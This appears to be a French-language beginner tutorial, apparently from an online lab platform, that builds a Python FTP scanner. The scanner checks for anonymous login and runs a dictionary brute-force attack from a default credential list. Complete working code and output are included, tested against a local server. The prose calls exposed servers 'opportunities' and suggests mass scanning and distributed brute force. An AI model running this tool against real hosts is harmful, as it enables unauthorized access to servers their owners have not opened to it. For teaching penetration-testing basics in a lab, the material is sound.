Scanner de mots de passe faibles pour FTP avec Python

PythonBeginner
Pratiquer maintenant

Introduction

Ce projet commence par la mise en œuvre d'un scanner de mots de passe faibles pour FTP en utilisant Python, en fournissant une introduction aux techniques de test de pénétration en Python. L'expérience implique la compréhension des principes des serveurs FTP, l'utilisation de la bibliothèque ftplib et autres connaissances connexes.

  1. Comprendre les serveurs FTP : Apprendre à connaître les serveurs FTP, leur but et la manière dont ils fonctionnent.
  2. Utiliser la bibliothèque FTPlib : Utiliser la bibliothèque ftplib en Python pour implémenter un scanner anonyme pour FTP et un crackeur de mot de passe par force brute.
  3. Utiliser la bibliothèque argparse : Apprendre à gérer les arguments de ligne de commande à l'aide de la bibliothèque argparse en Python.
  4. Configurer un serveur FTP sur Ubuntu : Suivre les instructions pour configurer localement un serveur FTP à des fins de test.

Ce projet est de difficulté modérée et est adapté aux utilisateurs ayant une compréhension de base de Python. C'est une bonne occasion de renforcer et de solidifier leurs connaissances des bases de Python et de gagner de l'expérience pratique dans les techniques de test de pénétration en Python.

👀 Aperçu

python3 ftpScanner.py -H 127.0.0.1 -f pwd.txt
[-] Échec de l'identification anonyme pour FTP sur 127.0.0.1!
[+] Tentative : ftp:ftp
[+] Tentative : root:root
[+] Tentative : root:toor
[+] Tentative : admin:admin
[+] Tentative : geust:geust
[+] Tentative : admin:123456

[+] Connexion FTP réussie pour 127.0.0.1 : admin:123456

[+] Hôte : 127.0.0.1 Nom d'utilisateur : admin Mot de passe : 123456

[*]-------------------Fin de la recherche!--------------------[*]

🎯 Tâches

Dans ce projet, vous allez apprendre :

  • Comment comprendre les principes de fonctionnement des serveurs FTP
  • Comment utiliser la bibliothèque ftplib en Python pour implémenter un scanner anonyme pour FTP
  • Comment implémenter un crackeur de mot de passe par force brute pour les serveurs FTP à l'aide d'un dictionnaire de mots de passe
  • Comment gérer les arguments de ligne de commande à l'aide de la bibliothèque argparse
  • Comment configurer un serveur FTP sur Ubuntu à des fins de test

🏆 Réalisations

Après avoir terminé ce projet, vous serez capable de :

  • Interagir avec des serveurs FTP à l'aide de Python
  • Implémenter la recherche d'identifications anonymes et de mots de passe faibles
  • Gérer les arguments de ligne de commande en Python
  • Configurer un serveur FTP sur Ubuntu

Serveur FTP

Un serveur FTP (File Transfer Protocol Server) est un ordinateur qui fournit des services de stockage et d'accès aux fichiers sur Internet, conformément au protocole FTP. FTP signifie File Transfer Protocol, qui est un protocole spécifiquement conçu pour le transfert de fichiers. En termes simples, un serveur qui prend en charge le protocole FTP est un serveur FTP.

FTP est un service basé uniquement sur TCP et ne prend pas en charge UDP. Ce qui le distingue est qu'il utilise deux ports, un port de données et un port de commande (également appelé port de contrôle). En général, ces deux ports sont 21 (port de commande) et 20 (port de données). Cependant, le port de données n'est pas toujours 20, selon le mode de fonctionnement de FTP. C'est la principale différence entre le FTP actif et le FTP passif. Il existe principalement deux modes de fonctionnement :

  • FTP actif

Le port de contrôle du serveur FTP est 21, et le port de données est 20. Par conséquent, lors de la configuration de la carte de routage statique, seul le port 21 doit être ouvert. Le serveur initiera une connexion avec le client en utilisant le port 20.

  • FTP passif

Le port de contrôle du serveur est 21, et le port de données est attribué aléatoirement. Le client initie la connexion au port de données correspondant, donc il n'est pas suffisant d'ouvrir seulement le port 21 pour la carte de routage statique. Dans ce cas, une DMZ (Demilitarized Zone) est requise.

Dans ce projet, le développement d'un scanner FTP se concentre sur les deux aspects suivants :

  1. Recherche d'un accès FTP anonyme

La recherche d'identifications anonymes pour FTP est principalement utilisée dans le balayage en masse. Le taux de réussite du balayage d'un seul serveur FTP est relativement faible, mais il est toujours possible de réussir. Certains se demandent peut-être s'il reste encore des personnes qui n'ont pas configuré de mot de passe. De nombreux sites Web offrent toujours des services FTP pour permettre aux utilisateurs de télécharger des ressources, il n'est donc pas surprenant qu'il soit possible d'accéder anonymement. Ce qui est encore plus surprenant, c'est que les administrateurs de site Web ouvrent l'accès FTP anonyme pour la commodité de la mise à jour du logiciel d'accès au site Web. Cela nous offre de nombreuses opportunités, en particulier lorsqu'il s'agit d'attaquer ce dernier type de serveur, qui est vulnérable aux attaques. Plus tard, je vous expliquerai comment obtenir une connexion interactive après avoir trouvé des pages Web dans les répertoires FTP.

  1. Recherche de mots de passe faibles pour FTP

La recherche de mots de passe faibles pour FTP est essentiellement une force brute. Pourquoi ne l'appelons-nous pas force brute? Parce que nous ne cherchons que certaines combinaisons de mots de passe simples, pas toutes les combinaisons possibles. De plus, nous n'avons pas assez de temps pour effectuer une force brute, considérant que nous ne vivons pas des milliers d'années! C'est juste un mot de passe. Si nous ne trouvons pas de mots de passe faibles, nous pouvons passer à autre chose. Pourquoi rester accroché à une seule fleur alors qu'il y a des milliers d'autres dans le monde? Cependant, si vous aimez vraiment ce serveur FTP, je vous apprendrai d'autres méthodes de pénétration de serveurs plus tard!

Implémentation du scanner d'anonymat FTP

Dans ce cas, nous allons utiliser la classe FTP de la bibliothèque ftplib en Python. La classe FTP implémente la plupart des fonctionnalités d'un client FTP, telles que la connexion à un serveur FTP, la visualisation des fichiers sur le serveur, le téléchargement et l'upload de fichiers, etc. Ensuite, nous allons définir la fonction anonScan(hostname) pour implémenter le balayage des serveurs FTP qui autorisent l'identification anonyme. Le code est le suivant :

## Scanner d'identification anonyme
def anonScan(hostname):                 ## Le paramètre est le nom d'hôte
    try:
        with FTP(hostname) as ftp:      ## Création d'un objet FTP
            ftp.login()                 ## Identification anonyme FTP
            print('\n[*] ' + str(hostname) + " Connexion FTP anonyme réussie!") ## Si aucune exception n'est levée, cela signifie que l'identification a réussi
            return True
    except Exception as e:              ## Si une exception est levée, cela signifie que l'identification anonyme a échoué
        print('\n[-] ' + str(hostname) + " Échec de l'identification anonyme pour FTP!")
        return False

Le code est concise, et les commentaires expliquent le sens du code. Voici l'idée générale de cette fonction : tout d'abord, nous construisons un objet FTP (nommé ftp) à l'aide du nom d'hôte. Ensuite, nous appelons la fonction login() sans aucun paramètre sur cet objet ftp pour initier une identification anonyme au serveur FTP. Si aucune exception n'est levée pendant le processus d'identification, cela signifie que l'identification anonyme a réussi ; sinon, cela signifie que l'identification anonyme a échoué.

Scan des mots de passe faibles pour FTP

La recherche de mots de passe faibles pour FTP repose sur un dictionnaire d'utilisateurs et de mots de passe. Dans notre environnement expérimental, ~/project/pwd.txt sera fourni en tant que dictionnaire de mots de passe.

ftp:ftp
root:root
root:toor
admin:admin
geust:geust
admin:123456
charlie:brown
mickey:mouse
daffy:duck
1012NW:bezoek
bugs:bunny
donald:duck
minnie:mouse
elmer:fudd
tweety:bird
alfonse:capone
al:capone
albert:einstein
open:saysme
open:sayzme
open:sezme

Ensuite, nous allons créer un fichier de code ftpScanner.py dans le répertoire ~/project pour implémenter la recherche de mots de passe faibles pour FTP, conformément au format du dictionnaire. Le code est le suivant :

## Crackage par force brute
def vlcLogin(hostname, pwdFile):                ## Paramètres (nom d'hôte, fichier de dictionnaire)
    try:
        with open(pwdFile, 'r') as pf:          ## Ouvrir le fichier de dictionnaire
            for line in pf.readlines():         ## Lire chaque ligne du fichier de dictionnaire
                time.sleep(1)                   ## Attendre 1 seconde
                userName = line.split(':')[0]   ## Extraire le nom d'utilisateur du contenu lu
                passWord = line.split(':')[1].strip('\r').strip('\n')  ## Extraire le mot de passe du contenu lu
                print('[+] Tentative : ' + userName + ':' + passWord)
                try:
                    with FTP(hostname) as ftp:  ## Créer un objet FTP avec le nom d'hôte comme paramètre
                        ftp.login(userName, passWord)   ## Se connecter au serveur FTP en utilisant le nom d'utilisateur et le mot de passe extraits
                        ## Si aucune exception n'est levée, la connexion est réussie, afficher le nom d'hôte, le nom d'utilisateur et le mot de passe
                        print('\n[+] ' + str(hostname) + ' Connexion FTP réussie : '+ \
                              userName + ':' + passWord)
                        return (userName, passWord)
                except Exception as e:
                    ## Si une exception est levée, cela signifie que la connexion n'a pas réussi, nous continuons à essayer d'autres noms d'utilisateurs et de mots de passe
                    pass
    except IOError as e:
        print('Erreur : le fichier de mots de passe n\'existe pas!')
    print('\n[-] Impossible de cracker le mot de passe FTP, veuillez changer de dictionnaire de mots de passe et réessayer!')
    return (None,None)

Ce bout de code parcourt le dictionnaire pour lire les noms d'utilisateurs et les mots de passe, et tente de se connecter. Si la connexion réussit, cela signifie que le nom d'utilisateur et le mot de passe ont été trouvés. La fonction définit le nom d'hôte comme une chaîne de caractères qui peut être séparée par ",". Trouver un mot de passe ne termine pas le programme, mais continue à rechercher des mots de passe faibles sur d'autres hôtes jusqu'à ce que tous les hôtes aient été balayés.

Analyse de la ligne de commande

Jusqu'à présent, notre scanner FTP est presque terminé. Le code n'est pas long et est assez simple. Maintenant, ce que nous devons faire est de rendre notre script capable de gérer les entrées de ligne de commande pour contrôler quels hôtes scanner. Pour gérer les arguments de ligne de commande, nous allons utiliser la bibliothèque argparse en Python. Cette bibliothèque est un module intégré à Python et simplifie considérablement l'analyse des arguments de ligne de commande. Voyons la puissance d'argparse en examinant le code suivant :

## Création d'un objet ArgumentParser en utilisant une description
parser = argparse.ArgumentParser(description='Scanner FTP')
## Ajout de la commande -H, où dest fait référence au nom de variable que nous utilisons pour récupérer la valeur passée après -H, et help fournit l'aide pour cette commande
parser.add_argument('-H', dest='hostName', help='La liste d\'hôtes avec "," comme séparateur')
parser.add_argument('-f', dest='pwdFile', help='Fichier de dictionnaire de mots de passe')
options = None
try:
    options = parser.parse_args()
except:
    print(parser.parse_args(['-h']))
    exit(0)
hostNames = str(options.hostName).split(',')
pwdFile = options.pwdFile

En utilisant la bibliothèque argparse pour analyser les arguments de ligne de commande, nous pouvons générer automatiquement un document d'aide en fonction du mot clé help fourni lors de l'ajout des arguments. Le résultat ressemble à ceci :

python3 ftpScanner.py -h

usage: ftpScanner.py [-h] [-H HOSTNAME] [-f PWDFILE]
Scanner FTP
arguments optionnels :
-h, --help affiche ce message d'aide et quitte
-H HOSTNAME La liste d'hôtes avec "," comme séparateur
-f PWDFILE Fichier de dictionnaire de mots de passe

Lorsqu'il s'agit de traiter des commandes complexes, la puissance d'argparse devient encore plus évidente. Étant donné que ceci est une fonctionnalité de base de Python, je ne rentrerai pas dans les détails trop longs concernant les bibliothèques incluses dans Python.

Intégration de tout le code

Le code de base a été implémenté et maintenant, il nous suffit d'intégrer le code ci-dessus. Le code est le suivant :

from ftplib import *
import argparse
import time

## Vérification de la connexion anonyme
def anonScan(hostname):
    try:
        with FTP(hostname) as ftp:
            ftp.login()
            print('\n[*] ' + str(hostname) + " Connexion FTP anonyme réussie!")
            return True
    except Exception as e:
        print('\n[-] ' + str(hostname) + " Échec de la connexion anonyme FTP!")
        return False

## Attaque par force brute
def vlcLogin(hostname, pwdFile):
    try:
        with open(pwdFile, 'r') as pf:
            for line in pf.readlines():
                time.sleep(1)
                userName = line.split(':')[0]
                passWord = line.split(':')[1].strip('\r').strip('\n')
                print('[+] Tentative : ' + userName + ':' + passWord)
                try:
                    with FTP(hostname) as ftp:
                        ftp.login(userName, passWord)
                        print('\n[+] ' + str(hostname) + ' Connexion FTP réussie : '+ \
                              userName + ':' + passWord)
                        return (userName, passWord)
                except Exception as e:
                    pass
    except IOError as e:
        print('Erreur : le fichier de mots de passe n\'existe pas!')
    print('\n[-] Impossible de cracker le mot de passe FTP, veuillez changer de dictionnaire de mots de passe et réessayer!')
    return (None,None)

def main():
    parser = argparse.ArgumentParser(description='Scanner FTP')
    parser.add_argument('-H',dest='hostName',help='La liste d\'hôtes avec "," comme séparateur')
    parser.add_argument('-f',dest='pwdFile',help='Fichier de dictionnaire de mots de passe')
    options = None
    try:
        options = parser.parse_args()

    except:
        print(parser.parse_args(['-h']))
        exit(0)

    hostNames = str(options.hostName).split(',')
    pwdFile = options.pwdFile
    if hostNames == ['None']:
        print(parser.parse_args(['-h']))
        exit(0)

    for hostName in hostNames:
        username = None
        password = None
        if anonScan(hostName) == True:
            print('Hôte : ' + hostName + ' Autorise la connexion anonyme!')
        elif pwdFile!= None:
            (username,password) = vlcLogin(hostName,pwdFile)
            if password!= None:
                print('\n[+] Hôte : ' + hostName + ' Nom d\'utilisateur : ' + username + \
                      'Mot de passe : ' + password)

    print('\n[*]-------------------Fin du scan!--------------------[*]')

if __name__ == '__main__':
    main()

Avec cela, notre code est terminé. Avec quelques modifications, nous pouvons rendre ce scanner encore plus puissant. Par exemple, les noms d'hôtes peuvent être spécifiés dans une plage pour effectuer un balayage à grande échelle ou le code peut être modifié pour implémenter des attaques par force brute distribuées sur les noms d'utilisateurs et les mots de passe FTP, augmenter la capacité du dictionnaire et améliorer considérablement le taux de réussite.

Configuration du serveur FTP

Ensuite, nous devons configurer un serveur FTP local pour tester notre scanner. Ici, nous allons utiliser la bibliothèque pyftpdlib en Python pour configurer le serveur FTP. pyftpdlib est une bibliothèque Python pour les serveurs FTP qui peut être utilisée pour construire rapidement un serveur FTP. L'installation de pyftpdlib est très simple, il suffit d'utiliser la commande pip. Entrez la commande suivante dans le terminal pour installer la bibliothèque pyftpdlib :

sudo pip install pyftpdlib
sudo python3 -m pyftpdlib -p 21

Par défaut, l'identification anonyme est autorisée.

Test de balayage

Maintenant que notre environnement est configuré, nous pouvons procéder au test de notre scanner de mots de passe faibles pour FTP.

cd ~/project
python3 ftpScanner.py -H 127.0.0.1 -f pwd.txt
[*] 127.0.0.1 Connexion FTP anonyme réussie!
Hôte : 127.0.0.1 Autorise l'accès anonyme!

[*]-------------------Fin du scan!--------------------[*]

Dans ce test, nous nous concentrons principalement sur l'identification anonyme. Quant au crackage par force brute des mots de passe faibles, vous pouvez trouver votre propre dictionnaire de mots de passe et tenter de cracker le serveur FTP.

Maintenant, essayons d'ajouter un mot de passe au serveur FTP et de le tester à nouveau. Tout d'abord, nous devons arrêter le serveur FTP et le redémarrer avec un mot de passe.

sudo python3 -m pyftpdlib -p 21 -u admin -P 123456
python3 ftpScanner.py -H 127.0.0.1 -f pwd.txt
[object Object]

Résumé

Ce projet met en œuvre un scanner de mots de passe faibles pour FTP, en utilisant les points clés suivants :

  1. Concepts de base des serveurs FTP
  2. Mise en œuvre progressive d'un scanner de mots de passe faibles pour FTP à l'aide de FTPlib
  3. Analyse des arguments de ligne de commande à l'aide d'argparse
  4. Méthodes pour configurer un environnement de test.
✨ Vérifier la solution et pratiquer✨ Vérifier la solution et pratiquer✨ Vérifier la solution et pratiquer✨ Vérifier la solution et pratiquer✨ Vérifier la solution et pratiquer✨ Vérifier la solution et pratiquer✨ Vérifier la solution et pratiquer